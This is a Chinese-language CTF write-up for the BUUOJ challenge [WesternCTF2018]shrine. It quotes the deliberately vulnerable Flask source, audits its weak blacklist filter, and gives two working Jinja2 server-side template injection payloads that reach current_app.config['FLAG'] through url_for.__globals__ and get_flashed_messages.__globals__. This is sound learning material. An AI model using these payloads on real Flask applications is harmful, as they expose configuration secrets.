第五十三题——[WesternCTF2018]shrine

题目地址：https://buuoj.cn/challenges

解题思路

第一步：进入题目，看到源码

import flask 
import os 
app = flask.Flask(__name__) 
app.config['FLAG'] = os.environ.pop('FLAG') 

@app.route('/') 
def index(): 
	return open(__file__).read() 
@app.route('/shrine/<path:shrine>')
def shrine(shrine): 
	def safe_jinja(s): 
		s = s.replace('(', '').replace(')', '') 
		blacklist = ['config', 'self'] 
		return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s 		
	return flask.render_template_string(safe_jinja(shrine)) 

if __name__ == '__main__': 
	app.run(debug=True)

第二步：代码审计

1. 从app可以看到config有个flag，读取出来就可以了
2. 在shrine路由中看到最后一句flask将模板里的值读取出来了，可以通过URL访问/shrine/{{config}}获取出config值
3. safe_jinja函数会将url里面的的config以及self替换为空字符串

第三步：构建漏洞

1. 可以利用自带函数url_for和get_flashed_messages来获取flag
2. 使用url_for.__globals__获取全局变量，看到current_app，再通过current_app获取到flag，最终：/shrine/{{url_for.__globals__["current_app"].config['FLAG']}}
   
   
3. 还可以利用get_flashed_messages获取到flag，最终：/shrine/{{get_flashed_messages.__globals__["current_app"].config['FLAG']}}